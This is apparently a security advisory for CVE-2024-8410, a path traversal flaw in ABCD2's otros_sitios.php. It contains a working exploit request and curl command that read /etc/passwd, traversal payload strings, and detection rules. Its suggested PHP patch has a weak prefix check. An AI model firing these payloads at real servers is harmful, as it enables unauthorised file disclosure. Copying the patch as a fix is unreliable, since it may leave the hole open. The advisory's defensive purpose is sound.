CVE-2024-8410

Executive Summary

CVE-2024-8410 is a path traversal vulnerability in the ABCD2 library management system, up to version 2.2.0-beta-1. The flaw exists in the /abcd/opac/php/otros_sitios.php file, where the sitio parameter is not properly sanitized, allowing an attacker to read arbitrary files on the server. The vulnerability is remotely exploitable without authentication, and a proof-of-concept has been publicly disclosed. The vendor was contacted but did not respond, leaving the software unpatched.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a standalone PHP application (ABCD2). No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Adjusted: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality: Low (file read)
• Integrity: None
• Availability: None

Threat Level: Medium. While the impact is limited to file disclosure, the lack of authentication and public exploit increases the risk.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) in the otros_sitios.php script. The sitio parameter is used to include or read a file path without proper validation. An attacker can supply ../ sequences to escape the intended directory and read arbitrary files, such as /etc/passwd or application configuration files.

Root Cause: The application does not filter or sanitize the sitio parameter, allowing path traversal sequences.

Attack Flow:

1. Attacker sends a GET request to /abcd/opac/php/otros_sitios.php?sitio=../../../etc/passwd.
2. The server reads the file and returns its contents in the response.
3. No authentication is required.

Vulnerable vs. Patched Code

Vulnerable Code (conceptual):

<?php
$sitio = $_GET['sitio'];
include($sitio); // or readfile($sitio);
?>

Patched Code (recommended):

<?php
$sitio = $_GET['sitio'];
$allowed_path = realpath('/var/www/abcd/allowed_sites/');
$requested_path = realpath($allowed_path . '/' . $sitio);
if (strpos($requested_path, $allowed_path) === 0) {
    include($requested_path);
} else {
    die('Invalid path');
}
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running ABCD2 <= 2.2.0-beta-1
• Network access to the web interface

Exploit Steps:

1. Identify the vulnerable endpoint: /abcd/opac/php/otros_sitios.php
2. Craft a path traversal payload:

   GET /abcd/opac/php/otros_sitios.php?sitio=../../../etc/passwd HTTP/1.1
   Host: target.com
   

3. Observe the response containing the file contents.

Example cURL command:

curl -v "http://target.com/abcd/opac/php/otros_sitios.php?sitio=../../../etc/passwd"

Expected Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Blue Team

Detection:

• Monitor for requests containing ../ in the sitio parameter.
• Look for unusual file reads (e.g., /etc/passwd, /etc/shadow).

Hunting Query (Splunk):

index=web sourcetype=access_combined uri_path="/abcd/opac/php/otros_sitios.php" uri_query=*sitio* | regex uri_query="\.\./"

Mitigation:

• Apply input validation and whitelist allowed paths.
• Use a Web Application Firewall (WAF) to block path traversal patterns.
• If possible, disable the vulnerable script until a patch is available.

Indicators of Compromise (IOCs)

• Network:

  • HTTP requests to /abcd/opac/php/otros_sitios.php with sitio parameter containing ../
  • Outbound connections from the server to attacker-controlled hosts (if file content is exfiltrated)

• File System:

  • Unexpected access to /etc/passwd, /etc/shadow, or application configuration files

• Logs:

  • Web server logs showing 404 or 200 responses for path traversal attempts

Detection Engineering

YARA Rule

rule CVE_2024_8410_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against CVE-2024-8410"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-8410"
    strings:
        $traversal1 = "sitio=../"
        $traversal2 = "sitio=..\\"
        $traversal3 = "sitio=%2e%2e%2f"
        $traversal4 = "sitio=%2e%2e%5c"
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-8410 Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts against ABCD2 otros_sitios.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "sitio="
        cs-uri-query|contains|all:
            - ".."
            - "/"
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8410 Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/abcd/opac/php/otros_sitios.php"; http_uri; content:"sitio="; http_uri; pcre:"/sitio=[^&]*\.\.\//i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable script if not required: Remove or rename otros_sitios.php.
2. Apply input validation to the sitio parameter: Whitelist allowed paths or use a basename filter.
3. Use a WAF to block path traversal patterns (e.g., ../, ..\\, URL-encoded variants).

Long-term Fix:

• The vendor has not responded. Consider migrating to a supported library management system.
• If you must continue using ABCD2, implement a custom patch as shown in the "Vulnerable vs. Patched Code" section.

Workaround:

• Restrict access to the /abcd/opac/php/ directory via .htaccess or web server configuration:

  <Directory "/var/www/html/abcd/opac/php/">
      Require ip 192.168.0.0/16
  </Directory>
  

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert